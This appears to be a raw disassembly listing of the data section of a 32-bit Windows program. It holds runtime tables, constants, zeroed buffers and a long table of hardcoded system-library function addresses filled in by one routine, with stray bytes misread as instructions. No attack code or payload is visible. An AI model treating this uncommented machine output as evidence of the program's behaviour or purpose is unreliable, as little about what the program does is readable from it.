dword_42D7F8 dd 1, 8 dup(0) ; DATA XREF: sub_4179BC+AFo ; .data:off_42D84Co dd 2 dup(1), 3 dup(0) dd offset off_42E1D4 align 10h dd offset word_4290B2 dd offset off_42E118 dd 0 off_42D84C dd offset dword_42D7F8 ; DATA XREF: sub_41471A+Ar ; sub_414F66+1Cr ... dd 0 dd 1, 8 dup(0) dd 43h, 21h dup(0) dd 43h, 21h dup(0) off_42D988 dd offset dword_47C9C0 ; DATA XREF: sub_417D6B+52o ; sub_417E28+4o ... align 10h dd offset dword_47C9C0 dd 101h dword_42D998 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_417D6B+71o dd 1000h, 0 dword_42D9A8 dd 3 dup(0) ; DATA XREF: sub_4162EB+53o ; sub_41A95C+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_42D9C8 dd 3 dup(0) ; DATA XREF: sub_4162EB+5Bo ; sub_41A95C:loc_41A97Ao dd 2, 0FFFFFFFFh, 7 dup(0) dword_42D9F8 dd 7Ch dup(0) ; DATA XREF: sub_417D6B+9Do dword_42DBE8 dd 8 dup(0) ; DATA XREF: sub_417E28+Do ; sub_417E7A+Do dword_42DC08 dd 10h, 0 ; DATA XREF: sub_417D6B+67o off_42DC10 dd offset dword_47C228 ; DATA XREF: sub_417F83:loc_417FC0w ; sub_417FCC+8o ... dword_42DC14 dd 1 ; DATA XREF: sub_417F83:loc_417F8Cr ; --------------------------------------------------------------------------- inc eax retn 47h ; --------------------------------------------------------------------------- dd 1, 2 dup(0) ; --------------------------------------------------------------------------- pop eax retn 47h ; --------------------------------------------------------------------------- dd 1, 47C270h, 1, 2 dup(0) dd offset dword_47C288 dd 1, 47C2A0h, 1, 47C2B8h, 1, 2 dup(0) dd offset dword_47C2D0 dd 1, 2 dup(0) dd offset dword_47C2E8 dd 1, 47C300h, 1, 47C318h, 1, 2 dup(0) dd offset dword_47C330 dd 1, 47C348h, 1, 47C360h, 1, 22h dup(0) dword_42DD30 dd 1 ; DATA XREF: sub_417FCC+2Ao ; sub_417FCC+4Ao ... dword_42DD34 dd 16h ; DATA XREF: sub_419442+3Br dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch off_42DE98 dd offset sub_419999 ; DATA XREF: sub_414CF5+5w ; sub_416492+43Er off_42DE9C dd offset sub_419613 ; DATA XREF: sub_414CF5+Aw ; sub_416492+46Ar off_42DEA0 dd offset sub_419678 ; DATA XREF: sub_414CF5+14w ; sub_416D3B+40Dr off_42DEA4 dd offset sub_4195D7 ; DATA XREF: sub_414CF5+1Ew ; sub_416492+459r off_42DEA8 dd offset sub_41965E ; DATA XREF: sub_414CF5+28w off_42DEAC dd offset sub_419999 ; DATA XREF: sub_414CF5+32w off_42DEB0 dd offset word_4290B2 ; DATA XREF: sub_41507A:loc_41514Cr ; sub_416492:loc_416691r ... off_42DEB4 dd offset word_4292BA ; DATA XREF: sub_41F743+18r dword_42DEB8 dd 0BD4FF0C5h ; DATA XREF: sub_415289+6r ; sub_416492+9r ... dd offset loc_41E13F off_42DEC0 dd offset sub_41A89F ; DATA XREF: sub_41A8D4+Cr align 10h byte_42DED0 db 1 ; DATA XREF: sub_41AC67+C8r db 2, 4, 8 align 8 dword_42DED8 dd 3A4h ; DATA XREF: sub_41AC67:loc_41AC8Cr dword_42DEDC dd 82798260h ; DATA XREF: sub_41AC67+104r dd 21h, 0 dword_42DEE8 dd 0DFA6h ; DATA XREF: sub_41AC67+A8r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_42DFC8 dd 2 ; DATA XREF: sub_41B3F9:loc_41B417r ; sub_41B3F9+32r off_42DFCC dd offset aR6002FloatingP ; DATA XREF: sub_41B3F9+DEr ; sub_41B3F9+11Br ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 429844h, 9, 429818h, 0Ah, 429780h, 10h, 429754h dd 11h, 429724h, 12h, 429700h, 13h, 4296D4h, 18h, 42969Ch dd 19h, 429674h, 1Ah, 42963Ch, 1Bh, 429604h, 1Ch, 4295DCh dd 78h, 4295CCh, 79h, 4295BCh, 7Ah, 4295ACh, 0FCh, 4219D0h dd 0FFh, 42959Ch dword_42E058 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_416C45+41o ; sub_416CB6+47o dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_42E0D0 dd 3 ; DATA XREF: sub_41B5A9+84r ; sub_41B5A9+A3r ... dword_42E0D4 dd 7 ; DATA XREF: sub_41B5A9+8Ar ; sub_41B5A9+A9r ... dd 78h dword_42E0DC dd 0Ah ; DATA XREF: sub_41B5A9+14r ; sub_41EE65r dword_42E0E0 dd 0FFFFFFFFh, 0A80h, 7 dup(0) ; DATA XREF: sub_4162EB:loc_4163ABo ; sub_418C09:loc_418C8Fo dword_42E104 dd 1 ; DATA XREF: sub_416D3B:loc_4173B6r byte_42E108 db 2Eh ; DATA XREF: sub_416D3B:loc_417046r ; sub_416D3B+329r ... align 4 dd 1, 42E118h, 0 off_42E118 dd offset aSun ; DATA XREF: .data:0042D844o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm ; "AM" dd offset aPm ; "PM" dd offset aMmDdYy ; "MM/dd/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset aHhMmSs ; "HH:mm:ss" dd 409h, 1, 0 dword_42E1D0 dd 2Eh ; DATA XREF: .data:off_42E1D4o off_42E1D4 dd offset dword_42E1D0 ; DATA XREF: sub_41C72A+15r ; .data:0042D830o ... off_42E1D8 dd offset dword_47C4A8 ; DATA XREF: sub_41C72A+32r off_42E1DC dd offset dword_47C4A8 ; DATA XREF: sub_41C72A+4Er off_42E1E0 dd offset dword_47C4A8 ; DATA XREF: sub_41C789+1Br off_42E1E4 dd offset dword_47C4A8 ; DATA XREF: sub_41C789+38r off_42E1E8 dd offset dword_47C4A8 ; DATA XREF: sub_41C789+55r off_42E1EC dd offset dword_47C4A8 ; DATA XREF: sub_41C789+72r off_42E1F0 dd offset dword_47C4A8 ; DATA XREF: sub_41C789+8Fr off_42E1F4 dd offset dword_47C4A8 ; DATA XREF: sub_41C789+ACr off_42E1F8 dd offset dword_47C4A8 ; DATA XREF: sub_41C789+C8r dd 2 dup(7F7F7F7Fh) off_42E204 dd offset off_42E1D4 ; DATA XREF: sub_41C72A+Br ; sub_41C72A+27r ... align 10h dd 1, 3 dup(0) dword_42E220 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41D9C1o dword_42E238 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 7080h, 1, 0FFFFF1F0h ; DATA XREF: sub_41D9D7o dd 0 dword_42E260 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:0042E2E0o dword_42E2A0 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:0042E2E4o dd offset dword_42E260 dd offset dword_42E2A0 dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch, 2 dup(0) dword_42E370 dd 2 dup(0) ; DATA XREF: sub_41F30B+Fo dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_42E4D0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41F30B+26o dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 5 dup(0) dword_42E640 dd 0 ; DATA XREF: sub_4010CA+18r ; sub_4017F1+CFw ... dword_42E644 dd 0 ; DATA XREF: sub_401967+218r ; sub_401B9D+EEw ... dd 3E6h dup(0) dword_42F5E0 dd 6 dup(0) ; DATA XREF: sub_401967+C0o ; sub_401967+129o ... dword_42F5F8 dd 0 ; DATA XREF: sub_401141+31Fw ; sub_401141+35Eo dword_42F5FC dd 0A2h dup(0) ; DATA XREF: sub_401141+2EDo dword_42F884 dd 41h dup(0) ; DATA XREF: sub_401141+2BFo dword_42F988 dd 0 ; DATA XREF: sub_401141+2E1w ; sub_401141+30Cr align 10h dword_42F990 dd 0 ; DATA XREF: sub_401141:loc_401495w ; sub_401141+370r dword_42F994 dd 0 ; DATA XREF: sub_401141+312w dword_42F998 dd 0 ; DATA XREF: sub_401141+324w dword_42F99C dd 0 ; DATA XREF: sub_401141+2F2w dd 0 dword_42F9A4 dd 0 ; DATA XREF: sub_401141:loc_4014FBr dword_42F9A8 dd 0 ; DATA XREF: sub_401141+1ADw ; sub_401141+215r ... dword_42F9AC dd 41h dup(0) ; DATA XREF: sub_401141+16Ao dword_42FAB0 dd 41h dup(0) ; DATA XREF: sub_401141+193o dword_42FBB4 dd 0 ; DATA XREF: sub_401141+245w ; sub_401141+261r dword_42FBB8 dd 0 ; DATA XREF: sub_401141+171w dword_42FBBC dd 0 ; DATA XREF: sub_401141+17Dw ; sub_401141+20Fr dword_42FBC0 dd 20h dup(0) ; DATA XREF: sub_401141+1C8o ; sub_401141+1FAo dword_42FC40 dd 0 ; DATA XREF: sub_401141+1B8w dword_42FC44 dd 0 ; DATA XREF: sub_401141+1D2w ; sub_401141+204w dword_42FC48 dd 0 ; DATA XREF: sub_401141:loc_4013D2r align 10h dword_42FC50 dd 0 ; DATA XREF: sub_401141+82w ; sub_401141+102o dword_42FC54 dd 41h dup(0) ; DATA XREF: sub_401141+46o dword_42FD58 dd 41h dup(0) ; DATA XREF: sub_401141+68o dword_42FE5C dd 0 ; DATA XREF: sub_401141+F8w ; sub_401141+114r dword_42FE60 dd 0 ; DATA XREF: sub_401141+52w dword_42FE64 dd 0 ; DATA XREF: sub_401141+4Dw ; sub_401141+CFr dword_42FE68 dd 20h dup(0) ; DATA XREF: sub_401141+9Do ; sub_401141+BAo dword_42FEE8 dd 0 ; DATA XREF: sub_401141+8Dw dword_42FEEC dd 0 ; DATA XREF: sub_401141+A7w ; sub_401141+C4w dword_42FEF0 dd 0 ; DATA XREF: sub_401141:loc_401327r align 8 dword_42FEF8 dd 1000h dup(0) ; DATA XREF: sub_401EFF+1Do ; sub_401F9Fo ... dword_433EF8 dd 0Dh dup(0) ; DATA XREF: sub_401EFF+13o ; sub_401F9F+Eo ... dword_433F2C dd 0 ; DATA XREF: sub_402E5D+C2o dword_433F30 dd 200h dup(0) ; DATA XREF: sub_403338+D5o ; sub_4034D6+97o ... dword_434730 dd 0 ; DATA XREF: sub_4031AF+35r ; sub_4031AF+65r ... dword_434734 dd 0 ; DATA XREF: sub_4035FB+4Fr ; sub_40368D+53r ... dword_434738 dd 200h dup(0) ; DATA XREF: sub_403338+ECo ; sub_4034D6+AEo ... dword_434F38 dd 0 ; DATA XREF: sub_4031AF+94r ; sub_40378E+85w dword_434F3C dd 0 ; DATA XREF: sub_4031AF+A2r ; sub_40378E+92w dword_434F40 dd 0 ; DATA XREF: sub_4031AF+D6r ; sub_4031AF+173r ... dword_434F44 dd 0 ; DATA XREF: sub_4035FB+5r ; sub_4035FB+2Fr ... dword_434F48 dd 0 ; DATA XREF: sub_403338+172w ; sub_4034D6+FFw dword_434F4C dd 0 ; DATA XREF: sub_403338+177w ; sub_4034D6+105w ... dword_434F50 dd 0 ; DATA XREF: sub_403338+150w ; sub_4035FB+49r align 8 dword_434F58 dd 80h dup(0) ; DATA XREF: sub_4035FB+58o dword_435158 dd 80h dup(0) ; DATA XREF: sub_40368D+35o dword_435358 dd 0 ; DATA XREF: sub_403AF0+2Aw ; sub_403AF0+51r ... dword_43535C dd 0 ; DATA XREF: sub_401B9D+67r ; sub_403BFF+6Aw ... byte_435360 db 0 ; DATA XREF: sub_40532B+11Ew ; sub_40532B+220o align 2 word_435362 dw 0 ; DATA XREF: sub_40532B+12Bw word_435364 dw 0 ; DATA XREF: sub_40532B+136w word_435366 dw 0 ; DATA XREF: sub_40532B+13Fw byte_435368 db 0 ; DATA XREF: sub_40532B+145w byte_435369 db 0 ; DATA XREF: sub_40532B+14Cw word_43536A dw 0 ; DATA XREF: sub_40532B+153w dword_43536C dd 0 ; DATA XREF: sub_40532B+180w ; sub_40532B+19Bw dword_435370 dd 0 ; DATA XREF: sub_40532B+1A3w byte_435374 db 0 ; DATA XREF: sub_40532B+1B2w byte_435375 db 0 ; DATA XREF: sub_40532B+1C2w word_435376 dw 0 ; DATA XREF: sub_40532B+1D5w word_435378 dw 0 ; DATA XREF: sub_40532B+1E7w word_43537A dw 0 ; DATA XREF: sub_40532B+1DDw dword_43537C dd 100h dup(0) ; DATA XREF: sub_40532B+1FDo dword_43577C dd 71AB5690h ; DATA XREF: sub_40398A+C4r ; sub_40398A+F8r ... dword_435780 dd 71AB157Eh ; DATA XREF: sub_405770+600w ; sub_405770+72Cr ... dword_435784 dd 71C574FAh ; DATA XREF: sub_405770+946w ; sub_405770+9AEr ... dword_435788 dd 7620E8C3h ; DATA XREF: sub_405770+7E1w ; sub_405770+834r dword_43578C dd 71AB5A01h ; DATA XREF: sub_4021B5+4Br ; sub_405770+4C8w ... dword_435790 dd 762211EFh ; DATA XREF: sub_405770+786w ; sub_405770+7F5r ... dword_435794 dd 77E6C0E3h ; DATA XREF: sub_402B74+4r ; sub_405770+8Cw ... dword_435798 dd 77D5E303h ; DATA XREF: sub_405770+1A6w ; sub_405770+1E2r ... dword_43579C dd 77D45B19h ; DATA XREF: sub_405770+172w ; sub_405770+1C2r dword_4357A0 dd 71AB1444h ; DATA XREF: sub_405770+5ACw ; sub_405770+6FCr ... dword_4357A4 dd 77C71BB0h ; DATA XREF: sub_405770+415w ; sub_405770+463r dword_4357A8 dd 71B28D0Dh ; DATA XREF: sub_405770+AC7w dword_4357AC dd 71AB155Ah ; DATA XREF: sub_4018CA+4Cr ; sub_404EE8+B1r ... dword_4357B0 dd 7620AFB6h ; DATA XREF: sub_405770+7C7w ; sub_405770+7FBr dword_4357B4 dd 77D5E310h ; DATA XREF: sub_405770+18Cw ; sub_405770+1D2r ... dword_4357B8 dd 77EBA6E9h ; DATA XREF: sub_405770+58w ; sub_405770+CAr ... dword_4357BC dd 71C4A1B4h ; DATA XREF: sub_405770+92Cw ; sub_405770+99Er ... dword_4357C0 dd 71AB3E5Dh ; DATA XREF: sub_4018CA+59r ; sub_40398A+8Dr ... dword_4357C4 dd 1F7BA3A9h ; DATA XREF: sub_405770+B6Bw ; sub_405770+BA6r ... dword_4357C8 dd 77DD23D7h ; DATA XREF: sub_405770+24Bw ; sub_405770+27Cr dword_4357CC dd 71AB868Dh ; DATA XREF: sub_404EE8+117r ; sub_405770+5E6w ... dword_4357D0 dd 1F7B9D96h ; DATA XREF: sub_405770+B9Fw ; .text:00413DE1r dword_4357D4 dd 71C4502Ch ; DATA XREF: sub_405770+953w ; sub_405770+9B6r ... dword_4357D8 dd 71AB1ED3h ; DATA XREF: sub_4021B5+29Br ; sub_40532B+228r ... dword_4357DC dd 773F97B0h ; DATA XREF: sub_405770+B21w dword_4357E0 dd 77E78C17h ; DATA XREF: sub_405770+31w ; sub_405770+ADr ... dword_4357E4 dd 71B2A381h ; DATA XREF: sub_405770+ABAw ; sub_405770+AD6r ... dword_4357E8 dd 71C453F8h ; DATA XREF: sub_405770+96Dw ; sub_405770+9C6r ... dword_4357EC dd 77DD59F0h ; DATA XREF: sub_40213F+4Er ; sub_405770+23Ew ... dword_4357F0 dd 71C2498Bh ; DATA XREF: sub_405770+905w ; sub_405770+981r ... dword_4357F4 dd 71C4576Ch ; DATA XREF: sub_405770+97Aw ; sub_405770+9CEr ... dword_4357F8 dd 77EBB1E7h ; DATA XREF: sub_405770+3Ew ; sub_405770+BAr ... dword_4357FC dd 77E2C1B3h ; DATA XREF: sub_405770+321w ; sub_405770+367r ... dword_435800 dd 77D49A11h ; DATA XREF: sub_405770+17Fw ; sub_405770+1CAr dword_435804 dd 77E686CCh ; DATA XREF: sub_402BBD+1Br ; sub_405770+72w ... dword_435808 dd 71AB3C22h ; DATA XREF: sub_4018CA+18r ; sub_40398A+45r ... dword_43580C dd 71C24870h ; DATA XREF: sub_405770+912w ; sub_405770+98Er ... dword_435810 dd 76214750h ; DATA XREF: sub_4025CE+3Ar ; sub_405770+7D4w ... dword_435814 dd 76D674FAh ; DATA XREF: sub_405770+A56w ; sub_405770+A5Dr ... dword_435818 dd 71AB41DAh ; DATA XREF: sub_4021B5+2Br ; sub_404999+16r ... dword_43581C dd 71C3516Ah ; DATA XREF: sub_405770+987w ; sub_4076B0+72r dword_435820 dd 77EBA994h ; DATA XREF: sub_405770+65w ; sub_4081CA+15Cr ... dword_435824 dd 71AB3F8Dh ; DATA XREF: sub_4021B5+6Ar ; sub_40532B+76r ... dword_435828 dd 77E6CBF9h ; DATA XREF: sub_405770+99w ; sub_405770+EAr ... dword_43582C dd 1F7CD214h ; DATA XREF: sub_405770+B85w ; sub_405770+BB6r ... dword_435830 dd 76206853h ; DATA XREF: sub_405770+7A0w ; sub_405770+810r dword_435834 dd 77C72C6Bh ; DATA XREF: sub_405770+42Fw ; sub_405770+473r dword_435838 dd 77DDAB2Fh ; DATA XREF: sub_405770+32Ew ; sub_405770+36Fr ... dword_43583C dd 76206B7Fh ; DATA XREF: sub_405770+7BAw ; sub_405770+820r dword_435840 dd 71C214BAh ; DATA XREF: sub_405770+939w ; sub_405770+9A6r ... dword_435844 dd 77DD5C55h ; DATA XREF: sub_40213F+5Ar ; sub_405770+258w ... dword_435848 dd 71ABF628h ; DATA XREF: sub_405770+634w ; sub_40F4D9+E3r dword_43584C dd 77E802FCh ; DATA XREF: sub_405770+A6w ; sub_405770+F2r dword_435850 dd 77DD590Bh ; DATA XREF: sub_40213F+2Ar ; sub_405770+231w ... dword_435854 dd 77EBA595h ; DATA XREF: sub_405770+4Bw ; sub_405770+C2r ... dword_435858 dd 76D629BBh ; DATA XREF: sub_405770+8A2w ; sub_405770+8B6r ... dword_43585C dd 71AB1B7Bh ; DATA XREF: sub_404EE8+F2r ; sub_405770+4E2w ... dword_435860 dd 77D4BDCAh ; DATA XREF: sub_405770+165w ; sub_405770+1BAr ... dword_435864 dd 76204E4Dh ; DATA XREF: sub_4025CE+4FFr ; sub_405770+801w dword_435868 dd 71AB2BBFh ; DATA XREF: sub_405770+61Aw ; sub_405770+73Cr ... dword_43586C dd 76F36EEBh ; DATA XREF: sub_405770+A19w dword_435870 dd 77DDA595h ; DATA XREF: sub_405770+2C2w ; sub_40815F+55r dword_435874 dd 76D67A29h ; DATA XREF: sub_405770+A63w ; sub_407C37+98r dword_435878 dd 77C7531Dh ; DATA XREF: sub_405770+3FBw ; sub_405770+453r dword_43587C dd 71AB12F8h ; DATA XREF: sub_401B9D+2Fr ; sub_40398A+25r ... dword_435880 dd 77C7212Fh ; DATA XREF: sub_405770+3EEw ; sub_405770+44Br dword_435884 dd 77C72889h ; DATA XREF: sub_405770+43Cw dword_435888 dd 71AB401Ch ; DATA XREF: sub_4010CA+1Fr ; sub_401967+77r ... dword_43588C dd 76D62A37h ; DATA XREF: sub_405770+8AFw ; sub_405770+8C3r ... dword_435890 dd 77C729E2h ; DATA XREF: sub_405770+422w ; sub_405770+46Br dword_435894 dd 71AB60C9h ; DATA XREF: sub_405770+4D5w ; sub_405770+658r ... dword_435898 dd 77DDACABh ; DATA XREF: sub_405770+397w ; sub_4116D2+EDr dword_43589C dd 71AB1AF4h ; DATA XREF: sub_40398A+A2r ; sub_40398A+E2r ... dword_4358A0 dd 77D902E3h ; DATA XREF: sub_405770+1B3w ; sub_4069D5+15r dword_4358A4 dd 77E96645h ; DATA XREF: sub_402DDF+14r ; sub_402DDF+2Br ... dword_4358A8 dd 71B2ACCBh ; DATA XREF: sub_405770+AA0w ; sub_405770+AC1r ... dword_4358AC dd 71AB1890h ; DATA XREF: sub_4018CA+82r ; sub_404EE8+3C4r ... dword_4358B0 dd 77E6D75Bh ; DATA XREF: sub_405770+B3w dword_4358B4 dd 7620BD61h ; DATA XREF: sub_4025CE+F4r ; sub_405770+7EEw ... dword_4358B8 dd 1F7CB8F8h ; DATA XREF: sub_405770+B92w ; sub_405770+BBEr ... dword_4358BC dd 77C75455h ; DATA XREF: sub_405770+408w ; sub_405770+45Br dword_4358C0 dd 71AB1740h ; DATA XREF: sub_4021B5+2AAr ; sub_40489A+A1r ... dword_4358C4 dd 77DDA20Bh ; DATA XREF: sub_405770+2EDw ; sub_405770+342r ... dword_4358C8 dd 77D4702Fh ; DATA XREF: sub_405770+158w ; sub_405770+1ADr ... dword_4358CC dd 77DE8075h ; DATA XREF: sub_405770+307w ; sub_405770+357r ... dword_4358D0 dd 71C45229h ; DATA XREF: sub_405770+960w ; sub_405770+9BEr ... dword_4358D4 dd 77DDA2AFh ; DATA XREF: sub_405770+33Bw ; sub_405770+377r ... dword_4358D8 dd 71AB12A7h ; DATA XREF: sub_401505+Er ; sub_405770+57Ew ... dword_4358DC dd 71AB14DCh ; DATA XREF: sub_405770+4EFw ; sub_405770+664r dword_4358E0 dd 71AB3ECEh ; DATA XREF: sub_404EE8+85r ; sub_405770+5BFw ... dword_4358E4 dd 77DD189Ah ; DATA XREF: sub_40213F+63r ; sub_405770+265w ... dword_4358E8 dd 77DE1291h ; DATA XREF: sub_405770+314w ; sub_405770+35Fr ... dword_4358EC dd 76F36EAAh ; DATA XREF: sub_405770+A0Cw ; sub_405770+A13r ... dword_4358F0 dd 76D62A58h ; DATA XREF: sub_405770+8BCw ; sub_407DBB+116r dword_4358F4 dd 1F7D886Ah ; DATA XREF: sub_405770+B5Ew ; sub_405770+B99r ... dword_4358F8 dd 71ABD755h ; DATA XREF: sub_405770+627w ; sub_405770+744r ... dword_4358FC dd 71AB1746h ; DATA XREF: sub_405770+571w ; sub_405770+6DCr dword_435900 dd 77DD7496h ; DATA XREF: sub_405770+348w ; sub_4078A2+ABr dword_435904 dd 0 ; DATA XREF: sub_405770+112w dword_435908 dd 71C2FA86h ; DATA XREF: sub_405770+91Fw ; sub_405770+996r ... dword_43590C dd 1F7CD927h ; DATA XREF: sub_405770+B78w ; sub_405770+BAEr ... dword_435910 dd 77428B97h ; DATA XREF: sub_405770+B14w ; sub_405770+B1Br ... dword_435914 dd 71AB1A6Dh ; DATA XREF: sub_4018CA+8Br ; sub_4021B5+2DAr ... dword_435918 dd 77C76551h ; DATA XREF: sub_405770+3E1w ; sub_405770+443r dword_43591C dd 71AB32CAh ; DATA XREF: sub_405770+60Dw ; sub_405770+734r dword_435920 dd 71AB1836h ; DATA XREF: sub_4021B5:loc_402495r ; sub_4025CE+48Fr ... dword_435924 dd 77DF7311h ; DATA XREF: sub_405770+2B5w ; sub_405770+2C9r ... dword_435928 dd 71AB5DE2h ; DATA XREF: sub_404EE8+99r ; sub_405770+5D9w ... dword_43592C dd 71AB12A7h ; DATA XREF: sub_401505+16r ; sub_4021B5+E3r ... dword_435930 dd 77DD22EAh ; DATA XREF: sub_405770+224w ; sub_405770+25Fr ... dword_435934 dd 77D5E38Ch ; DATA XREF: sub_405770+199w ; sub_405770+1DAr ... dword_435938 dd 71B22C25h ; DATA XREF: sub_405770+AADw ; sub_405770+ACEr dword_43593C dd 77DD5D20h ; DATA XREF: sub_405770+2A8w ; sub_405770+2BCr ... dword_435940 dd 77DE801Bh ; DATA XREF: sub_405770+2FAw ; sub_405770+34Fr ... dword_435944 dd 77C76B34h ; DATA XREF: sub_405770+3D4w ; sub_405770+436r dword_435948 dd 0CC0004h ; DATA XREF: sub_4025CE+34r ; sub_405770+863w ... dword_43594C dd 762059A3h ; DATA XREF: sub_405770+7ADw ; sub_405770+818r dword_435950 dd 7622A3F4h ; DATA XREF: sub_405770+793w ; sub_405770+808r ... dword_435954 dd 71AB1746h ; DATA XREF: sub_4018CA+38r ; sub_4021B5+83r ... dword_435958 dd 0 ; DATA XREF: sub_405770:loc_40586Ew ; sub_405770+12Bw ... dword_43595C dd 0 ; DATA XREF: sub_405770+126w ; sub_406359+1Cr dword_435960 dd 0 ; DATA XREF: sub_405770:loc_40596Bw ; sub_406359:loc_4063A1r dword_435964 dd 0 ; DATA XREF: sub_405770+1F6w 